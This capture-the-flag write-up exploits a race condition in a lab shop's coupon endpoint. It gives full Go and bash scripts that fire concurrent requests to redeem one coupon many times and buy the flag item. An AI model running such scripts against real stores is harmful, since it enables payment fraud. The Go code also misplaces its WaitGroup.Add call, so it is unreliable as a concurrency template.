Enumeration #
Within challenge/routes/index.js
if (product.item_name == 'C8') return res.json({
flag: fs.readFileSync('/app/flag').toString(),
message: `Thank you for your order! $${newBalance} coupon credits left!
})
Pretty straightforward, “just” need to purchase the item C8
.
Too bad that there is only a single coupon in the database, and it’s only a value of 100.
And that C8
is much more expensive than that!
Looking at database, there’s no locks or transactions.
A user’s balance is appended in SQL, and not in JS then stored in SQL: SET balance = balance + ?
.
This is starting to look like a possible race condition.
Having multiple HTTP requests try to access the coupon before the SQL is updated and invalidates the coupon. Allowing the user/session to get more than the single $1.00
Exploit #
The exploit is broken down into three basic steps:
- Attempt to buy the item, this will create a new session and store the cookie.
- Run a bunch of HTTP requests concurrently to exploit the race condition.
- Buy the item again.
Even though the first and the last step are basically the same. I had some fun and decided to write the exploit in both golang and bash.
Golang #
The exploit written in Go has a local http.Client
with a cookie jar.
This needs to be done, since the http.DefaultClient
does not store cookies.
To be safe, it spawns 20 go routines to apply the coupon using the client
, and uses a sync.WaitGroup
to wait for all connections to finish.
Once all the go routines are finished, it attempts to purchase the item again.
The output from the Web API is printed to the console output.
package main
import (
"fmt"
"io"
"log"
"net/http"
"net/http/cookiejar"
"os"
"strings"
"sync"
)
const (
UrlBase = "http://127.0.0.1:1337"
EndpointApplyCoupon = "/api/coupons/apply"
EndpointPurchase = "/api/purchase"
)
func main() {
// http client with cookie jar
jar, _ := cookiejar.New(nil)
client := &http.Client{
Jar: jar,
}
// attempt to purchase the item once to store cookie in jar
_, err := client.Post(
fmt.Sprintf("%s%s", UrlBase, EndpointPurchase),
"application/json",
strings.NewReader(`{"item":"C8"}`),
)
if err != nil {
log.Fatal(err)
}
// run the exploit; multiple concurrent requests to apply the coupon
var wg sync.WaitGroup
for i := 0; i < 20; i++ {
go func() {
wg.Add(1)
defer wg.Done()
resp, err := client.Post(
fmt.Sprintf("%s%s", UrlBase, EndpointApplyCoupon),
"application/json",
strings.NewReader(`{"coupon_code":"HTB_100"}`),
)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
}()
}
// wait for all coupon application requests to finish
wg.Wait()
// purchase the item!
resp, err := client.Post(
fmt.Sprintf("%s%s", UrlBase, EndpointPurchase),
"application/json",
strings.NewReader(`{"item":"C8"}`),
)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
io.Copy(os.Stdout, resp.Body)
}
curl #
This bash script does the exact same thing as the golang exploit. To be honest, this could be simplified to a two liner, but I find the exploit below to be easier to follow.
#!/usr/bin/env bash
set -euo pipefail
TARGET=127.0.0.1:1337
# clean up from before if here
function cleanup {
rm jar 2>&1 > /dev/null || true
}
trap cleanup EXIT
# generate a user on the server and store cookie locally
curl -s -c jar -b jar "http://${TARGET}/api/purchase" -d 'item=C8' 2>&1 > /dev/null
# exploit race condition
for i in {1..20}; do
curl -s -c jar -b jar "http://${TARGET}/api/coupons/apply" -d 'coupon_code=HTB_100' 2>&1 > /dev/null &
done
# wait for curl to finish (hopefully)
echo "sleeping for a hot second (or two)..."
sleep 2
curl -s -c jar -b jar "http://${TARGET}/api/purchase" -d 'item=C8' | grep -oE '"HTB{.*}"' || echo "exploit failed, try again"
# or if you have jq installed
# curl -s -c jar -b jar http://139.59.180.127:32556/api/purchase -d 'item=C8' | jq -r '.flag'